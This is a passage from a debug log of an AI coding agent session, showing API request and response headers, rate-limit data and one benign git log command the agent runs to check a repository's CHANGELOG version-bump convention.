\"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:00:26.323Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:00:26.326Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:00:26.331Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:00:26.335Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:00:26.338Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:00:26.371Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:00:26.373Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:00:26.376Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:00:26.378Z] [STDOUT]   },\n[2026-09-29T08:00:26.380Z] [STDOUT] }\n[2026-09-29T08:00:27.097Z] [STDOUT] [log_825e4f, request-id: \"req_011CfXNuCnZDDrysAnTmezeZ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 913ms\n[2026-09-29T08:00:27.102Z] [STDOUT] [log_825e4f] response start {\n[2026-09-29T08:00:27.106Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:27.109Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:27.111Z] [STDOUT]   headers: {\n[2026-09-29T08:00:27.113Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:27.116Z] [STDOUT]     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\"rejected\",\n[2026-09-29T08:00:27.170Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:27.175Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:27.181Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:27.183Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:27.188Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:27.194Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:27.199Z] [STDOUT]     \"cf-ray\": \"a4297443aba45d90-FRA\",\n[2026-09-29T08:00:27.203Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:00:27.206Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:27.209Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:27.214Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:27.217Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:00:27 GMT\",\n[2026-09-29T08:00:27.222Z] [STDOUT]     \"request-id\": \"req_011CfXNuCnZDDrysAnTmezeZ\",\n[2026-09-29T08:00:27.232Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:00:27.235Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:27.240Z] [STDOUT]     traceresponse: \"00-71bd620fbd4066e8ce6f1703cf501fb6-3d19cf75dbdac7e3-01\",\n[2026-09-29T08:00:27.246Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:27.251Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:00:27.254Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:27.257Z] [STDOUT]   },\n[2026-09-29T08:00:27.264Z] [STDOUT]   durationMs: 913,\n[2026-09-29T08:00:27.270Z] [STDOUT] }\n[2026-09-29T08:00:27.275Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:00:27.279Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:00:27 GMT\",\n[2026-09-29T08:00:27.285Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:00:27.288Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:00:27.291Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:00:27.294Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:27.298Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:00:27.301Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:00:27.304Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:00:27.307Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:00:27.310Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:27.314Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:27.317Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:27.323Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:27.329Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:27.346Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:27.351Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:27.357Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:27.361Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:27.367Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:27.372Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:27.379Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:27.382Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:27.386Z] [STDOUT]   \"request-id\": \"req_011CfXNuCnZDDrysAnTmezeZ\",\n[2026-09-29T08:00:27.389Z] [STDOUT]   \"traceresponse\": \"00-71bd620fbd4066e8ce6f1703cf501fb6-3d19cf75dbdac7e3-01\",\n[2026-09-29T08:00:27.393Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:27.398Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:27.403Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:00:27.409Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:00:27.413Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:00:27.418Z] [STDOUT]   \"cf-ray\": \"a4297443aba45d90-FRA\",\n[2026-09-29T08:00:27.421Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:00:27.428Z] [STDOUT] [log_825e4f] response parsed {\n[2026-09-29T08:00:27.432Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:27.436Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:27.439Z] [STDOUT]   body: X {\n[2026-09-29T08:00:27.444Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:00:27.450Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:00:27.452Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:00:27.454Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:00:27.459Z] [STDOUT]     },\n[2026-09-29T08:00:27.462Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:00:27.468Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:00:27.470Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:00:27.472Z] [STDOUT]   },\n[2026-09-29T08:00:27.476Z] [STDOUT]   durationMs: 914,\n[2026-09-29T08:00:27.479Z] [STDOUT] }\n[2026-09-29T08:00:27.639Z] [INFO] {\n[2026-09-29T08:00:27.639Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:27.639Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:27.639Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:00:27.639Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:27.639Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:27.639Z] [INFO]   \"uuid\": \"1295f8b5-2c01-42a2-afa8-1ee29a31cead\"\n[2026-09-29T08:00:27.639Z] [INFO] }\n[2026-09-29T08:00:28.224Z] [INFO] {\n[2026-09-29T08:00:28.224Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:28.224Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:28.224Z] [INFO]   \"estimated_tokens\": 186,\n[2026-09-29T08:00:28.224Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:28.224Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:28.224Z] [INFO]   \"uuid\": \"d3262608-0c71-4d0a-9e11-fd031d4187a6\"\n[2026-09-29T08:00:28.224Z] [INFO] }\n[2026-09-29T08:00:28.238Z] [INFO] {\n[2026-09-29T08:00:28.238Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"message\": {\n[2026-09-29T08:00:28.238Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"id\": \"msg_011CfXNuDLY6LU4hu8pUacii\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:28.238Z] [INFO]     \"content\": [\n[2026-09-29T08:00:28.238Z] [INFO]       {\n[2026-09-29T08:00:28.238Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:00:28.238Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:00:28.238Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:00:28.238Z] [INFO]     ],\n[2026-09-29T08:00:28.238Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:28.238Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:28.238Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T08:00:28.238Z] [INFO]       \"cache_read_input_tokens\": 79099,\n[2026-09-29T08:00:28.238Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:28.238Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:28.238Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T08:00:28.238Z] [INFO]       },\n[2026-09-29T08:00:28.238Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:28.238Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:28.238Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:28.238Z] [INFO]     },\n[2026-09-29T08:00:28.238Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:28.238Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:28.238Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:28.238Z] [INFO]   },\n[2026-09-29T08:00:28.238Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:28.238Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"uuid\": \"b5407547-bc5a-4a49-9ee2-a5a2972a5658\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:28.223Z\",\n[2026-09-29T08:00:28.238Z] [INFO]   \"request_id\": \"req_011CfXNuCnZDDrysAnTmezeZ\"\n[2026-09-29T08:00:28.238Z] [INFO] }\n[2026-09-29T08:00:29.288Z] [INFO] {\n[2026-09-29T08:00:29.288Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"message\": {\n[2026-09-29T08:00:29.288Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"id\": \"msg_011CfXNuDLY6LU4hu8pUacii\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:29.288Z] [INFO]     \"content\": [\n[2026-09-29T08:00:29.288Z] [INFO]       {\n[2026-09-29T08:00:29.288Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:00:29.288Z] [INFO]         \"id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:29.288Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:00:29.288Z] [INFO]         \"input\": {\n[2026-09-29T08:00:29.288Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git log -3 --format='%h %s' -p origin/main -- CHANGELOG.md | grep -E '^[+-](version|updated)|^[0-9a-f]{7} '; git log -1 --format=%h -S'version: 2.11' -- CHANGELOG.md\",\n[2026-09-29T08:00:29.288Z] [INFO]           \"description\": \"Check CHANGELOG version bump convention\"\n[2026-09-29T08:00:29.288Z] [INFO]         },\n[2026-09-29T08:00:29.288Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:29.288Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:29.288Z] [INFO]         }\n[2026-09-29T08:00:29.288Z] [INFO]       }\n[2026-09-29T08:00:29.288Z] [INFO]     ],\n[2026-09-29T08:00:29.288Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:29.288Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:29.288Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T08:00:29.288Z] [INFO]       \"cache_read_input_tokens\": 79099,\n[2026-09-29T08:00:29.288Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:29.288Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:29.288Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T08:00:29.288Z] [INFO]       },\n[2026-09-29T08:00:29.288Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:29.288Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:29.288Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:29.288Z] [INFO]     },\n[2026-09-29T08:00:29.288Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:29.288Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:29.288Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:29.288Z] [INFO]   },\n[2026-09-29T08:00:29.288Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:29.288Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"uuid\": \"b4c43d57-ea68-4d0c-a60a-b963352cf777\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:29.246Z\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"request_id\": \"req_011CfXNuCnZDDrysAnTmezeZ\",\n[2026-09-29T08:00:29.288Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:00:29.288Z] [INFO]     \"toolu_01PEpXsmS7stnAmrANBhE5xy\": {\n[2026-09-29T08:00:29.288Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git log -3 --format='%h %s' -p origin/main -- CHANGELOG.md | grep -E '^[+-](version|updated)|^[0-9a-f]{7} '; git log -1 --format=%h -S'version: 2.11' -- CHANGELOG.md\",\n[2026-09-29T08:00:29.288Z] [INFO]       \"description\": \"Check CHANGELOG version bump convention\"\n[2026-09-29T08:00:29.288Z] [INFO]     }\n[2026-09-29T08:00:29.288Z] [INFO]   }\n[2026-09-29T08:00:29.288Z] [INFO] }\n[2026-09-29T08:00:32.580Z] [INFO] {\n[2026-09-29T08:00:32.580Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"task_id\": \"bnig0ilt7\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"tool_use_id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"description\": \"Check CHANGELOG version bump convention\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:00:32.580Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"uuid\": \"fab2d4e9-cdf8-4d5e-814e-ecd7db06fe02\",\n[2026-09-29T08:00:32.580Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:32.580Z] [INFO] }\n[2026-09-29T08:00:33.408Z] [INFO] {\n[2026-09-29T08:00:33.408Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"task_id\": \"bnig0ilt7\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"tool_use_id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"summary\": \"Check CHANGELOG version bump convention\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"uuid\": \"bd4c638f-9b99-4265-9006-843d9b11fb1f\",\n[2026-09-29T08:00:33.408Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:33.408Z] [INFO] }\n[2026-09-29T08:00:33.481Z] [INFO] {\n[2026-09-29T08:00:33.481Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"message\": {\n[2026-09-29T08:00:33.481Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:00:33.481Z] [INFO]     \"content\": [\n[2026-09-29T08:00:33.481Z] [INFO]       {\n[2026-09-29T08:00:33.481Z] [INFO]         \"tool_use_id\": \"toolu_01PEpXsmS7stnAmrANBhE5xy\",\n[2026-09-29T08:00:33.481Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:00:33.481Z] [INFO]         \"content\": \"eda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\nd40aeac\",\n[2026-09-29T08:00:33.481Z] [INFO]         \"is_error\": false\n[2026-09-29T08:00:33.481Z] [INFO]       }\n[2026-09-29T08:00:33.481Z] [INFO]     ]\n[2026-09-29T08:00:33.481Z] [INFO]   },\n[2026-09-29T08:00:33.481Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:33.481Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"uuid\": \"020724a3-7de2-4b63-919d-90de60d6f713\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:33.465Z\",\n[2026-09-29T08:00:33.481Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:00:33.481Z] [INFO]     \"stdout\": \"eda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\nd40aeac\",\n[2026-09-29T08:00:33.481Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:00:33.481Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:00:33.481Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:00:33.481Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:00:33.481Z] [INFO]   }\n[2026-09-29T08:00:33.481Z] [INFO] }\n[2026-09-29T08:00:33.538Z] [STDOUT] [log_df2fb8] sending request {\n[2026-09-29T08:00:33.541Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:00:33.558Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:33.580Z] [STDOUT]   options: {\n[2026-09-29T08:00:33.591Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:00:33.604Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:00:33.620Z] [STDOUT]     body: {\n[2026-09-29T08:00:33.628Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:00:33.646Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:00:33.662Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:00:33.671Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:00:33.679Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:00:33.686Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:00:33.692Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:00:33.699Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:00:33.705Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:00:33.711Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:00:33.716Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:00:33.722Z] [STDOUT]       stream: true,\n[2026-09-29T08:00:33.779Z] [STDOUT]     },\n[2026-09-29T08:00:33.791Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:00:33.800Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:00:33.809Z] [STDOUT]       aborted: false,\n[2026-09-29T08:00:33.816Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:00:33.822Z] [STDOUT]       onabort: null,\n[2026-09-29T08:00:33.834Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:00:33.842Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:00:33.848Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:00:33.854Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:00:33.857Z] [STDOUT]     },\n[2026-09-29T08:00:33.862Z] [STDOUT]     stream: true,\n[2026-09-29T08:00:33.870Z] [STDOUT]   },\n[2026-09-29T08:00:33.894Z] [STDOUT]   headers: {\n[2026-09-29T08:00:33.896Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:00:33.899Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:00:33.905Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:00:33.908Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:00:33.913Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:00:33.917Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:00:33.924Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:00:33.927Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:00:33.932Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:00:33.934Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3939\",\n[2026-09-29T08:00:33.939Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:00:33.945Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:00:33.953Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:33.960Z] [STDOUT]     \"x-client-request-id\": \"b5909bb3-1511-445b-b1e3-1dc7e64042f9\",\n[2026-09-29T08:00:33.966Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:00:33.970Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:00:33.976Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:00:33.980Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:00:33.984Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:00:33.989Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:00:33.992Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:00:33.997Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:00:33.999Z] [STDOUT]   },\n[2026-09-29T08:00:34.005Z] [STDOUT] }\n[2026-09-29T08:00:34.391Z] [STDOUT] [log_df2fb8, request-id: \"req_011CfXNukHsdsUKC5JQavDaK\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 857ms\n[2026-09-29T08:00:34.398Z] [STDOUT] [log_df2fb8] response start {\n[2026-09-29T08:00:34.400Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:00:34.404Z] [STDOUT]   status: 200,\n[2026-09-29T08:00:34.406Z] [STDOUT]   headers: {\n[2026-09-29T08:00:34.412Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:00:34.416Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:00:34.418Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:00:34.422Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T08:00:34.425Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:00:34.427Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.432Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:00:34.435Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:00:34.437Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:00:34.439Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:00:34.442Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:00:34.446Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:00:34.450Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:00:34.453Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:00:34.456Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:00:34.458Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:00:34.462Z] [STDOUT]     \"cf-cache-status\": 